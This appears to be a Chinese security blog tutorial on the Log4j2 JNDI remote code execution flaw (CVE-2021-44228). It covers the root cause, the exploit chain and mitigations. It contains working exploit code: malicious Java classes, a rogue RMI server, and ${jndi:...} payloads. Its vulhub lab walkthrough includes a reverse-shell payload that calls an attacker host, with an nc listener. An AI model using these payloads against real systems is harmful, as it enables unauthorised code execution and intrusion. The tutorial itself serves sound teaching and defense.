Loading ...
Apache Log4j2 远程代码执行漏洞全解析

Apache Log4j2 远程代码执行漏洞全解析

一、漏洞概述

1. 漏洞原理

Apache Log4j2 是 Java 生态中广泛使用的日志框架,其Lookup功能存在致命缺陷:未限制 JNDI(Java 命名和目录接口)查询。攻击者可在日志消息中插入恶意 JNDI 表达式(如${jndi:rmi://恶意服务器/恶意类}),触发 Log4j2 加载远程恶意.class文件,最终实现远程代码执行。

2. 影响范围

  • 覆盖超 6 万个开源软件及 32 万个相关版本包,几乎席卷整个 Java 生态(如电商平台、分布式系统、中间件等);
  • 利用成本极低,仅需构造含恶意 Payload 的输入(如 URL 参数、表单数据)即可触发,危害极大。

二、Java 日志体系与核心概念

1. 日志框架发展历程

  • JCL(Jakarta Commons Logging):提供抽象层,动态绑定日志实现(如 log4j、JUL);
  • Slf4j(2006 年):需桥接包绑定实现,配套 Logback 作为默认实现;
  • Log4j2(2014 年):Apache 推出,不兼容旧版 log4j,借鉴 Slf4j+Logback 设计,成为主流日志工具(也是本次漏洞主角)。

2. JNDI 基础

  • 定义:JNDI(Java Naming and Directory Interface)是一组接口,用于查找远程或本地对象,提供命名服务(对象与名称绑定)和目录服务(管理对象属性)。
  • 支持服务:可访问 JDBC、LDAP、RMI、DNS 等,漏洞利用中主要涉及RMI(远程方法调用)和LDAP(轻型目录访问协议)。

3. RMI 基础

  • 定义:RMI(远程方法调用)允许不同 Java 虚拟机之间远程调用方法,通过序列化传输对象。
  • 核心组件
    • Client(客户端):请求远程方法;
    • Registry(注册中心):存储远程对象的注册和查找服务(默认端口 1099);
    • Server(服务端):提供远程方法,在 Registry 中注册对象。
  • URL 格式rmi://host:port/name(host 为注册中心主机,name 为远程对象标识符)。

三、JNDI 注入攻击原理

1. 核心机制

当 JNDI 的lookup()方法参数可控时,攻击者可传入恶意 URL,诱导目标加载远程恶意类。通过Reference类解决 “目标缺少恶意类” 的问题,使目标从指定地址下载并执行恶意代码。

2. 攻击流程

  1. 目标程序调用lookup(String)且参数可控,攻击者传入指向恶意 RMI/LDAP 服务器的 URL;
  2. 恶意服务器返回含Reference对象的 JNDI 引用(包含恶意类的加载地址);
  3. 目标解析Reference,获取恶意类的 HTTP 地址;
  4. 目标远程加载恶意类的.class字节码并实例化,执行代码(如反弹 shell、文件操作)。

3. RMI-JNDI 注入示例

步骤 1:编写恶意类

import java.io.IOException;
public class Test {
    public Test() throws IOException {
        // 实例化时执行命令(创建文件夹)
        Runtime.getRuntime().exec("mkdir jndi_inject");
    }
}

步骤 2:编译并部署

  • 编译:javac Test.java生成Test.class
  • 启动 HTTP 服务:python3 -m http.server 8080(将Test.class放在当前目录)。

步骤 3:搭建恶意 RMI 服务

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        // 启动RMI注册中心(端口1099)
        Registry registry = LocateRegistry.createRegistry(1099);
        // 绑定恶意类引用(指向HTTP服务中的Test.class)
        Reference ref = new Reference("Test", "Test", "http://攻击者IP:8080/");
        registry.bind("test", new ReferenceWrapper(ref));
    }
}

步骤 4:触发注入

目标程序调用lookup时传入恶意 RMI 地址,即可加载并执行Test.class
import javax.naming.InitialContext;
public class Target {
    public static void main(String[] args) throws Exception {
        // 触发JNDI查询(参数可控时被攻击)
        new InitialContext().lookup("rmi://攻击者IP:1099/test");
    }
}

四、Log4j2 漏洞攻击链详解

  1. 输入注入:攻击者发送含恶意 JNDI 表达式的请求(如${jndi:rmi://攻击者IP:1099/test}),被目标 Java 应用接收并记录到日志;
  2. 日志解析:Log4j2 检测到日志中的${}格式,触发Lookup机制解析内容;
  3. JNDI 调用:解析到jndi:协议后,调用JndiLookup.lookup()方法,进一步触发InitialContext.lookup()
  4. 远程加载:目标连接恶意 RMI/LDAP 服务器,获取恶意类引用;
  5. 代码执行:目标加载并实例化恶意类,执行内置命令(如反弹 shell)。

五、漏洞复现(以 2.14.0 版本为例)

1. 环境准备

  • JDK:8u121(低版本对 JNDI 限制较弱);
  • 依赖:引入 Log4j2 2.14.0 版本(漏洞版本):
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
    

2. 漏洞利用步骤

步骤 1:编写恶意类(弹出计算器)

import java.io.IOException;
public class Exploit {
    public Exploit() throws IOException {
        Runtime.getRuntime().exec("calc"); // Windows弹出计算器
    }
}

步骤 2:启动恶意服务

  • 编译Exploit.java并通过 HTTP 服务暴露(python -m http.server 8080);
  • 启动 RMI 服务绑定恶意类:
    Registry registry = LocateRegistry.createRegistry(1099);
    Reference ref = new Reference("Exploit", "Exploit", "http://攻击者IP:8080/");
    registry.bind("exp", new ReferenceWrapper(ref));
    

步骤 3:触发日志解析

目标程序记录含恶意表达式的日志,触发漏洞:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogTest {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        // 恶意输入(模拟攻击者传入的参数)
        String input = "${jndi:rmi://攻击者IP:1099/exp}";
        logger.info("用户输入: {}", input); // 日志记录时触发解析
    }
}

步骤 4:结果验证

目标服务器弹出计算器,证明远程代码执行成功。

六、实战利用(Docker 靶场)

  1. 启动环境
    cd vulhub-master/log4j/CVE-2021-44228
    docker-compose up -d
    
  2. 漏洞验证
    访问http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://dnslog地址},查看 DNSLog 平台是否有解析记录(确认目标触发 JNDI 查询)。
  3. 反弹 shell
    • 启动 JNDI 工具:java -jar JNDIExploit.jar -i 攻击者IP
    • 构造 Payload:http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击者IP:1389/Basic/ReverseShell/攻击者IP/端口}
    • 攻击机监听端口:nc -lvvp 端口,接收靶机反弹的 shell。

七、漏洞识别方法

  1. 表达式测试:向目标输入${java:os}(如 URL 参数),若日志中输出操作系统信息,说明Lookup功能已触发;
  2. DNSLog 检测:发送${jndi:ldap://xxxx.dnslog.cn},若 DNSLog 有解析记录,表明目标存在 JNDI 查询行为;
  3. 版本核查:若目标使用 Log4j2 ≤2.14.1 版本,存在漏洞风险。

八、防御建议

  1. 版本升级:升级至 Log4j2 2.15.0+(2.15.0 禁用 JNDI 动态加载,2.16.0 移除 JNDI 功能);
  2. 临时配置:设置系统属性log4j2.formatMsgNoLookups=true,禁用Lookup功能;
  3. JDK 限制:使用 JDK 8u121+,设置com.sun.jndi.rmi.object.trustURLCodebase=false禁止远程类加载;
  4. 输入过滤:通过 WAF 拦截含${jndi:rmi://ldap://等特征的请求;
  5. 安全审计:监控日志中的异常 JNDI 调用,及时发现攻击。
本文内容仅供学习交流使用,旨在普及网络安全知识、提升安全防护意识。文中涉及的技术解析与案例分析,均以合法合规的网络安全研究为前提,严禁用于任何未经授权的攻击、破坏或侵犯他人权益的行为。
网络空间不是法外之地,使用者需严格遵守《中华人民共和国网络安全法》《数据安全法》等相关法律法规,对自身行为承担全部法律责任。维护网络安全是每个公民的责任,让我们共同抵制网络违法活动,共建安全、健康的网络环境。
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇